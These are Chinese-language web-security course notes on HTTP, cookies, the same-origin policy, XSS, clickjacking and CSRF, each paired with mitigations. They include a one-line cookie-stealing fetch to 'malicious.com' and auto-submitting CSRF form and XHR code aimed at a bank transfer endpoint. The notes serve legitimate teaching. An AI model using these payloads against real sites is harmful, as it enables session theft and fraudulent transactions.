# 2020 程安 Web筆記1 (XSS.CSRF)
###### tags: `程式安全` `web`
## What is web
:::info
Q:從瀏覽器輸入`http://example.com/`到看到畫面之間發生了什麼事?
:::
> 1. URL解析:
> -- 協定類型: `http`
> -- server domain name: `example.com`
> 2. 送DNS Query到DNS Server來獲得Domain name對應的IP address(`93.184.216.34`)
> 3. 向`93.184.216.34`的`80port`(HTTP)發出建立TCP/IP的請求(`SYN`)來傳輸檔案
> -- TCP三方交握
> 4. 經由TCP/IP發送`HTTP request`
> -- get method : 只需要一個封包(同時傳header跟data)
> -- post method : 先傳header,等到server回傳status code `100 continue`之後,再傳data封包
> 5. server回應`200 OK`以及data
> 6. 向server傳送`FIN`封包來表示要關閉連線(也可以由server端發起)
> -- TCP四次揮手(4-way handshake)
### 前端及後端

- 前端: 瀏覽器部分
- 後端: HTTP protocol
### URL(Uniform Resource Locator)
- 格式
`[protocol]://[domain](:[port])(/[path])(?[query])(#[fragment])`
- `fragment`是給瀏覽器看的,通常拿來定位網頁的位置(ex 第幾行)
### HTTP Request
- ex `http://example.com/foo/bar?q=bazz`

- `POST`代表用POST method送http request
- 其他: GET. DELETE. PUT. ...也可以自定義
- depend on瀏覽器
- 藍格子代表space
- `HTTP/1.1`代表HTTP版本為1.1
- `\r\n`
- Carriage Return: \r (0x0d) : 回到本行行首
- Line Feed : \n (0x0a) : 換行
- 第2-4行(第五行`\r\n`之前)為header
- 第五行之後的內容為body
- GET method沒有body
- GET vs POST

$\Rightarrow$ 通常POST會拿來處理較複雜的操作,但還是可以用GET硬幹(看瀏覽器怎麼處理)
### HTTP response
- ex

- status code
| 狀態碼 | 代表 | example</br>(code+reason phrase) |
|:------:| ----------------------------------------- | :-------------------------------------: |
| 1xx | 資訊回應(換protocol</br>或需要繼續傳東西) | 100 Continue</br>101 Switch protocols |
| 2xx | 成功回應 | 200 OK |
| 3xx | 重定向訊息 | 302 Found |
| 4xx | client錯誤回應 | 403 Forbidden</br>404 Not Found |
| 5xx | server錯誤回應 | 502 Bad Gateway |
#### response body
- 由三個部分組成
1. HTML : 大概架構
2. CSS : 加上顏色/美觀
3. JavaScript : 讓網頁可以做複雜的事情(ex跟user溝通)
## 後端安全 -- Cookie
- 因為HTTP是一個stateless的protocol
> server不會認得是哪個client,是否曾經傳過request
> ex google的web server不會記得你是否有登入
- 因此利用cookie來記錄這些資訊(確認使用者身分)
> ex 拿學生證進入宿舍的人
> - 當一群人(client)一起進入宿舍時,如果有正確學生證(cookie)的人才會放行
- cookie的所屬範圍為domain
- subdomain也可使用該cookie
- 同domain但不同port之間的cookie也可互相存取
- SOP(same origin policy)
- **同domain同port同protocol**的資料才可互相存取
- HTTP cookie
1. Client向Server發送HTTP request

2. Server收到回應之後回傳set-cookie header,給予一個供server比對的cookie值(session id)

3. Client收到之後將cookie級其值存到browser的cookie存放區以及其所屬domain(Server),過期時間,etc
4. 之後每次Client向同一個Server送request時,都會帶上cookie

5. Server會拿cookie值(session id)比對server中的值,來確認使用者資訊
| number | user |
| :----: | :---: |
| **777** | Alice |
| 888 | Bob |
:::info
因此,若可以知道其他user的session id,
就可以把cookie值設為其session id來偽裝為該user做某些事
$\Rightarrow$ 實務上,通常session id通常會是一個**random值**( $\because$ 無法預測)
:::
### Cookie的一些安全性相關attribute
- ex Server的set-cookie header可以帶一些attribute
```Set-Cookie: number=777; HttpOnly; Secure; SameSite=Strict```
1. `HttpOnly`
- 在 URL 位置輸入`javascript: alert(document.cookie)`,可以看到該 domain 的 cookie
- 若cookie被設為`HttpOnly`, JavaScript就**無法access cookie**
2. `Secure`
- `Secure`表示**只能用**HTTPS
- HTTP vs HTTPS: HTTP是明文傳送,HTTPS則是加上SSL/TLS加密
- HTTP的話如果封包被攔截,明文cookie就會被人撿走
3. `Domain`
- 規定該cookie只能在某domain下使用(包含subdomain)
- 如果沒設定預設為該server的domain
4. `Path`
5. `SameSite`
- 設定cross site請求是否能帶上該cookie
- 用來預防SOP bypass及CSRF攻擊(跨站偽造請求攻擊)
> ex.
> - Client在`a.meow.com`這個地址對`b.meow.com`中的圖片request
> --> 視為same-site,因為都在`meow.com`這個domain下
>
> - Client在`a.meow.com`這個地址對`a.dog.com`中的圖片request
> --> 則視為cross-site
>
> - 而`my_proj.github.io`對`ur_proj.github.io`中的圖片request
> --> 也視為cross-site
> 因為若有像`github.io`這樣的服務商後綴,會被看成不同的網站
- 3種值
1. `None` : same-site request及cross-site request皆可帶上該cookie
2. `Strict` : 限制只有same-site request才可帶上該cookie
3. `Lax` : same-site request與部分的cross-site request(ex GET request)才可以帶上該cookie
## 前端安全
### SOP(Same Origin Policy)同源政策
- 在Client端,只有同源的website才可共享彼此的資源
- 同源 = 同domain & 同port & 同protocol

- 通常來說不同源之間彼此不共享資源,但**允許做寫入**
- 但還是有可以read的特例
- 允許讀進不同源網站的js或css :
- `<script src=...>`
- 但無法得到該script的詳細錯誤資訊,防止變成攻擊點(利用錯誤資訊來讀取server內容)
- load不同源網站的圖片,影片,...
- `<img src=...>`
- 但無法讀取該圖片的raw pixel
- 也可以用iframe來嵌入不同源的網站
- ex yahoo首頁上很多廣告(?
- ...
### XSS(Cross-site Scripting)
- Server沒有過濾掉input中的特殊符號,造成攻擊者可以在input中塞script,進而被瀏覽器執行
- 三種類型
1. Self-XSS : 受害者自己輸入xss payload才能成功
- 在url輸入 `fetch("http://malicious.com/?" + document.cookie)`,攻擊者就可以獲得妳的cookie
2. Reflected XSS : 輸入的script直接反映在瀏覽器上
3.
#### some tricks
- 因為有些input會濾掉一些特殊作用的tag(ex <script>),因此可以利用一些較無安全性的tag來測試是否能達成html injection
- ex. `<h1>header</h1>`, `<marquee>跑馬燈</marquee>`
#### Mitigation
1. 瀏覽器上的X-XSS protection
- 比對query pattern跟Response內文是否相同
> 但只適用於reflected型
> 如果是儲存型的不適用
- 但此feature已經不再使用,因為容易誤判,也可以被bypass
2. CSP(Content Security Policy)
- 放在HTTP Response header中
- browser會去parse response來判斷哪些是trusted resource
i.e. 哪些可以load進來
- ex. 代表只有來自`example.com`的javascript source可以load進來,不會執行任何inline script

`CSP的定義方法還有很多種,常用的有hash跟nonce`

### Clickjack

> 上面可能嵌了你看不到的iframe,如果按下去可能會不小心執行到非預期的東西
- mitigation
- 在HTTP response header加入`X-Frame-Options`:防止別人用iframe嵌你的page
> X-Frame-Options : DENY
> X-Frame-Options : SAMEORIGIN
- 用CSP的`frame-ancestors`限制別人如果要iframe你的page要符合甚麼樣的條件
- 設定`SameSite`cookie
### CSRF(Cross site request forgery)
#### GET為例
- 如果A傳送了一個網站給B,且頁面裡面有`<image src='http://bank.com/transfer?recver=A&amount=100>`,若B訪問了該網頁,browser看到該行就會送一個GET request給`bank.com/transfer`,而因為**cookie是綁定domain**的,因此browser在送request時就帶上B屬於`bank.com`的cookie
$\Rightarrow$ `bank.com` server 看到是B的cookie之後,就理所當然地認為是B發的request,因此就將100塊轉給A已達成攻擊
#### POST一樣可以做到(弄成form的形式,並且一被訪問就送出)
```html
<form id='f' method='POST' action='http://bank.com/transfer'>
<input type='text' name='recver' value='A'>
<input type='number' name='amount' value='100'>
</form>
<script>document.getElementById('f').submit()</script>
```
$\Rightarrow$ 送出的`http post request`就會長得像這樣
```html
POST /transfer HTTP/1.1
Host : bank.com
Cookie : sessid=q73wMAPiH27B3whH # B's Cookie
Content-length=19
recver=A&amount=100
```
#### Mitigation
- POST的方法中,在form中加上一個`csrf_token`
- csrf_token是一個不可預測的nonce
- 因此攻擊者無法得知csrf_token

## 可以送request的方法
:::info
Note:
- 可以送Request的html tag
- img : GET
- iframe : GET
- form : 可指定method
- 可以送Request的JavaScript
- fetch : 後面接**JSON格式**,可指定method
- fetch(url, {..., method:'POST', ...})
- XMLHttpRequest : 可指定method
- ex
```javascript
var xhr = new XMLHttpRequest()
xhr.open('POST', 'http://bank.com/transfer')
//xhr.open('GET', 'http://bank.com/transfer?recver=A&amount=100')
xhr.setRequestHeader('Content-Typpe','application/x-www-form-urlencoded; charset=UTF-8')
// header, value
// POST要送出表單一定要設置Content-Type
xhr.send('recver=A&amount=100') // 如果是GET method這邊就send(null)
```
- 如果要送其他method?(ex PUT)或送複雜不常見的header(ex X-AUTH)
$\Rightarrow$ 必須要先通過[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#Simple_requests)(Cross Origin Resource Sharing)的限制
> 先送一個OPTIONS request(稱作Preflighted requests)給server
> server同意之後才能繼續
:::